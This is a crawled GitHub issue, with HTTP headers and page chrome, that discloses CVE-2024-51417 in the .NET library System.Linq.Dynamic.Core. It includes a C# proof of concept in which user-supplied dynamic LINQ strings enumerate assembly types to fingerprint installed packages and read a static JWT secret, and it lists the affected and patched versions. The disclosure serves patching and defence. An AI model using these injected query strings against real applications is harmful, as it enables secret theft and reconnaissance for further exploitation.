CARVIEW |
Select Language
HTTP/2 200
date: Wed, 23 Jul 2025 00:50:49 GMT
content-type: text/html; charset=utf-8
cache-control: max-age=0, private, must-revalidate
content-security-policy: default-src 'none'; base-uri 'self'; child-src github.githubassets.com github.com/assets-cdn/worker/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.com raw.githubusercontent.com api.github.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com *.rel.tunnels.api.visualstudio.com wss://*.rel.tunnels.api.visualstudio.com objects-origin.githubusercontent.com copilot-proxy.githubusercontent.com proxy.individual.githubcopilot.com proxy.business.githubcopilot.com proxy.enterprise.githubcopilot.com *.actions.githubusercontent.com wss://*.actions.githubusercontent.com productionresultssa0.blob.core.windows.net/ productionresultssa1.blob.core.windows.net/ productionresultssa2.blob.core.windows.net/ productionresultssa3.blob.core.windows.net/ productionresultssa4.blob.core.windows.net/ productionresultssa5.blob.core.windows.net/ productionresultssa6.blob.core.windows.net/ productionresultssa7.blob.core.windows.net/ productionresultssa8.blob.core.windows.net/ productionresultssa9.blob.core.windows.net/ productionresultssa10.blob.core.windows.net/ productionresultssa11.blob.core.windows.net/ productionresultssa12.blob.core.windows.net/ productionresultssa13.blob.core.windows.net/ productionresultssa14.blob.core.windows.net/ productionresultssa15.blob.core.windows.net/ productionresultssa16.blob.core.windows.net/ productionresultssa17.blob.core.windows.net/ productionresultssa18.blob.core.windows.net/ productionresultssa19.blob.core.windows.net/ github-production-repository-image-32fea6.s3.amazonaws.com github-production-release-asset-2e65be.s3.amazonaws.com insights.github.com wss://alive.github.com api.githubcopilot.com api.individual.githubcopilot.com api.business.githubcopilot.com api.enterprise.githubcopilot.com; font-src github.githubassets.com; form-action 'self' github.com gist.github.com copilot-workspace.githubnext.com objects-origin.githubusercontent.com; frame-ancestors 'none'; frame-src viewscreen.githubusercontent.com notebooks.githubusercontent.com; img-src 'self' data: blob: github.githubassets.com media.githubusercontent.com camo.githubusercontent.com identicons.github.com avatars.githubusercontent.com private-avatars.githubusercontent.com github-cloud.s3.amazonaws.com objects.githubusercontent.com release-assets.githubusercontent.com secured-user-images.githubusercontent.com/ user-images.githubusercontent.com/ private-user-images.githubusercontent.com opengraph.githubassets.com copilotprodattachments.blob.core.windows.net/github-production-copilot-attachments/ github-production-user-asset-6210df.s3.amazonaws.com customer-stories-feed.github.com spotlights-feed.github.com objects-origin.githubusercontent.com *.githubusercontent.com; manifest-src 'self'; media-src github.com user-images.githubusercontent.com/ secured-user-images.githubusercontent.com/ private-user-images.githubusercontent.com github-production-user-asset-6210df.s3.amazonaws.com gist.github.com; script-src github.githubassets.com; style-src 'unsafe-inline' github.githubassets.com; upgrade-insecure-requests; worker-src github.githubassets.com github.com/assets-cdn/worker/ github.com/assets/ gist.github.com/assets-cdn/worker/
link: ; rel=preload; as=fetch; crossorigin=use-credentials
referrer-policy: no-referrer-when-downgrade
server-timing: issue_layout-fragment;desc="issue_layout fragment";dur=206.500889,issue_conversation_content-fragment;desc="issue_conversation_content fragment";dur=767.219073,issue_conversation_sidebar-fragment;desc="issue_conversation_sidebar fragment";dur=40.53712,nginx;desc="NGINX";dur=1.474516,glb;desc="GLB";dur=100.724561
strict-transport-security: max-age=31536000; includeSubdomains; preload
vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, X-Requested-With, Accept,Accept-Encoding, Accept, X-Requested-With
x-content-type-options: nosniff
x-frame-options: deny
x-voltron-version: fd8fbbc
x-xss-protection: 0
server: github.com
content-encoding: gzip
accept-ranges: bytes
set-cookie: _gh_sess=PmRh%2F%2BU%2Bxef4u6Rd3hOutfhvwOlkiih9OdgAO7rQPWaGR3a9DPU%2Faaaslq%2BNNfdPQz5mKfe14P%2Fa0lzq0uoAN1KgM13SjHe7%2Fs0IIfsWdoUHn3%2BWWdKRZp4mlLLsDqrVjgM%2FWbTs%2Bmu5Lwuwk%2BkmsUv5Krl8TnWqpxnFPJFNS1Ee1gtQzF4CT28Wv4tVagxYy0I9uD9%2ByuDTDMVZIh%2F3VY6F4uNaClqMTQXKXB%2FD9RzsUhY5NphrhPP4vKm%2B8zos2jpPCKvPDXlK0aTOK1dGVQ%3D%3D--fJDTkVkF9Ys%2BBszL--Ih44wVwLNNfxWOX8kBK1%2Fw%3D%3D; Path=/; HttpOnly; Secure; SameSite=Lax
set-cookie: _octo=GH1.1.523536753.1753231848; Path=/; Domain=github.com; Expires=Thu, 23 Jul 2026 00:50:48 GMT; Secure; SameSite=Lax
set-cookie: logged_in=no; Path=/; Domain=github.com; Expires=Thu, 23 Jul 2026 00:50:48 GMT; HttpOnly; Secure; SameSite=Lax
x-github-request-id: C300:36F97A:210E36:2E2EE9:688031E8
CVE-2024-51417: System.Linq.Dynamic.Core allows remote access to properties on reflection types and static properties/fields Β· Issue #867 Β· zzzprojects/System.Linq.Dynamic.Core Β· GitHub
Skip to content
Navigation Menu
{{ message }}
-
-
Notifications
You must be signed in to change notification settings - Fork 233
Closed
Labels
Description
Summary
System.Linq.Dynamic.Core allows remote access to properties on reflection types and static properties/fields.
Details
Access to properties on reflection types allows listing installed nuget packages' names and versions through attributes and base types they require. Then it is possible to google and exploit their vulnerabilities.
Access to static properties/fields allows just as implied.
PoC
using System.Linq.Dynamic.Core;
var customers = new List<Customer>()
{
new Customer()
{
Id = 1,
Name = "Mariusz"
}
};
var userSuppliedColumns1 = new[]
{
"""
string.Join(
"\r\n",
GetType().Assembly.DefinedTypes.SelectMany(CustomAttributes).Select(AttributeType).Select(AssemblyQualifiedName))
""",
"""
string.Join(
"\r\n",
GetType().Assembly.DefinedTypes.Select(BaseType).Select(AssemblyQualifiedName))
""",
"""
c => string.Join(
"\r\n",
c.GetType().Assembly.DefinedTypes.SelectMany(t => t.CustomAttributes).Select(a => a.AttributeType).Select(t => t.AssemblyQualifiedName))
""",
"""
c => string.Join(
"\r\n",
c.GetType().Assembly.DefinedTypes.Select(t => t.BaseType).Select(t => t.AssemblyQualifiedName))
"""
};
foreach (var userSuppliedColumn in userSuppliedColumns1)
{
foreach (var customer in customers.AsQueryable().Select(userSuppliedColumn))
{
Console.WriteLine(customer);
Console.WriteLine();
}
}
var userSuppliedColumns2 = new[]
{
"""
AppSettings.SettingsProp["jwt"]
""",
"""
AppSettings.SettingsField["jwt"]
""",
"""
c => AppSettings.SettingsProp["jwt"]
""",
"""
c => AppSettings.SettingsField["jwt"]
"""
};
foreach (var userSuppliedColumn in userSuppliedColumns2)
{
foreach (var customer in customers.AsQueryable().Select(userSuppliedColumn))
{
Console.WriteLine(customer);
Console.WriteLine();
}
}
public class Customer
{
public int Id { get; set; }
public string Name { get; set; }
}
public static class AppSettings
{
public static Dictionary<string, string> SettingsProp { get; } = new()
{
{ "jwt", "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c" }
};
public static Dictionary<string, string> SettingsField = new()
{
{ "jwt", "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c" }
};
}
Impact
Properties on reflection types PoC executes successfully in System.Linq.Dynamic.Core.1.0.0 and up (patched in System.Linq.Dynamic.Core.1.6.0).
Static properties/fields PoC executes successfully in System.Linq.Dynamic.Core.1.3.10 and up (patched in System.Linq.Dynamic.Core.1.6.0).
nth-commit, ElectricRogue, animitta, daesk, thangchung and 20 more
You canβt perform that action at this time.